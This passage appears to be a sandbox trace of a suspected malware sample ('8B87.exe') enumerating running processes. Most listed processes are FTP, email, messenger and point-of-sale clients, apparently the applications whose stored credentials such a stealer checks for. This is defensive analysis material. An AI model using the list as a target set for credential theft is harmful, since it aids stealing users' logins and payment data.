hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0213.555] CloseHandle (hObject=0x11c8) returned 1 [0213.555] Sleep (dwMilliseconds=0x64) [0213.557] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0213.569] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.571] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0213.573] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0213.575] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.576] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0213.578] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.580] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0213.581] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0213.584] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0213.588] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.589] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.592] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0213.593] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.595] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.597] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.598] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.600] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.602] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.605] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.607] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0213.609] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0213.611] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0213.613] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.614] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0213.616] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0213.618] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0213.620] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0213.621] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0213.623] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0213.625] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0213.627] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.628] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.630] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0213.632] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.633] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0213.635] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0213.637] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0213.639] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0213.641] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0213.643] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0213.645] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0213.646] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0213.648] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0213.650] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0213.652] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0213.654] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0213.777] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0213.779] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0213.781] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0213.783] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0213.785] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0213.791] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0213.793] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0213.794] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0213.796] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0213.798] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0213.801] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0213.803] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0213.805] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0213.807] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0213.810] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0213.812] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0213.814] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0213.817] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0213.819] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0213.821] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0213.823] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0213.826] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0213.828] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0213.830] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0213.832] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0213.834] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0213.836] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0213.838] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0213.840] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0213.842] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0213.845] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0213.847] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0213.849] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0213.851] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0213.853] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0213.856] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: 